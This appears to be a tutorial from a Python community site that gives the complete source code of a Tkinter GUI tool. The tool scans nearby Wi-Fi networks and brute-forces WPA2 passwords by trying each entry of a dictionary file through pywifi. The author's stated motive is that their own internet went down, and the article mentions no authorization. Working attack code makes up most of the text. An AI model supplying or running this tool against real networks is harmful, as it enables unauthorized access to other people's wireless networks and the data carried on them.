Python WiFi Password Cracking Tool Using pywifi and Tkinter
This article explains how to build a Python GUI application that scans nearby Wi‑Fi networks, reads a password dictionary, and attempts brute‑force connections using the pywifi library, providing step‑by‑step code, environment setup, and sample results for Wi‑Fi security testing.
The author describes a situation where the home internet went down and, motivated to test Wi‑Fi security, decides to create a Python tool that can brute‑force Wi‑Fi passwords using the pywifi library.
The core idea is to loop through a list of candidate passwords, attempt to connect to a given SSID, and stop when a successful connection is detected.
Required environment: Python 2.7, the pywifi module, and a password dictionary file containing possible Wi‑Fi passwords (one per line).
First, import the necessary modules:
<code>from pywifi import *</code>Prepare the password dictionary (e.g., a list of common weak Wi‑Fi passwords) and ensure the script can read each line sequentially.
The complete script combines Tkinter for the GUI, pywifi for network operations, and logic to scan, display, and crack Wi‑Fi networks. Below is the full source code:
<code># coding:utf-8
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox
class MY_GUI():
def __init__(self,init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi() # grab the wireless interface
self.iface = self.wifi.interfaces()[0] # use the first interface
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200,text="配置")
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)
self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)
self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1)
self.path = Entry(labelframe,width=12,textvariable=self.get_value).grid(column=1,row=1)
self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)
self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2)
self.wifi_input = Entry(labelframe,width=12,textvariable=self.get_wifi_value).grid(column=1,row=2)
self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2)
self.wifi_mm_input = Entry(labelframe,width=10,textvariable=self.get_wifimm_value).grid(column=3,row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
self.wifi_tree.bind("<Double-1>",self.onDBClick)
self.vbar.grid(row=4,column=1,sticky=NS)
def scans_wifi_list(self):
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
nums = len(scanres)
print("数量: %s"%(nums))
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self,scans_res):
for index,wifi_info in enumerate(scans_res):
self.wifi_tree.insert("","end",values=(index+1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def onDBClick(self,event):
self.sels= event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")
while True:
try:
self.pwdStr = self.pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1=self.connect(self.pwdStr,self.get_wifissid)
if self.bool1:
self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('提示', '破解成功!!!')
print(self.res)
break
else:
self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)
print(self.res)
sleep(3)
except:
continue
def connect(self,pwd_Str,wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
isOK=True
else:
isOK=False
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
ui.set_init_window()
init_window.mainloop()
gui_start()</code>Running the program displays a GUI where the user can select a Wi‑Fi network, load a password file, and start the cracking process; successful attempts are reported with a message box and printed output.
The article concludes with a promotional QR code for a free Python course and additional reading links.
Python Programming Learning Circle
A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.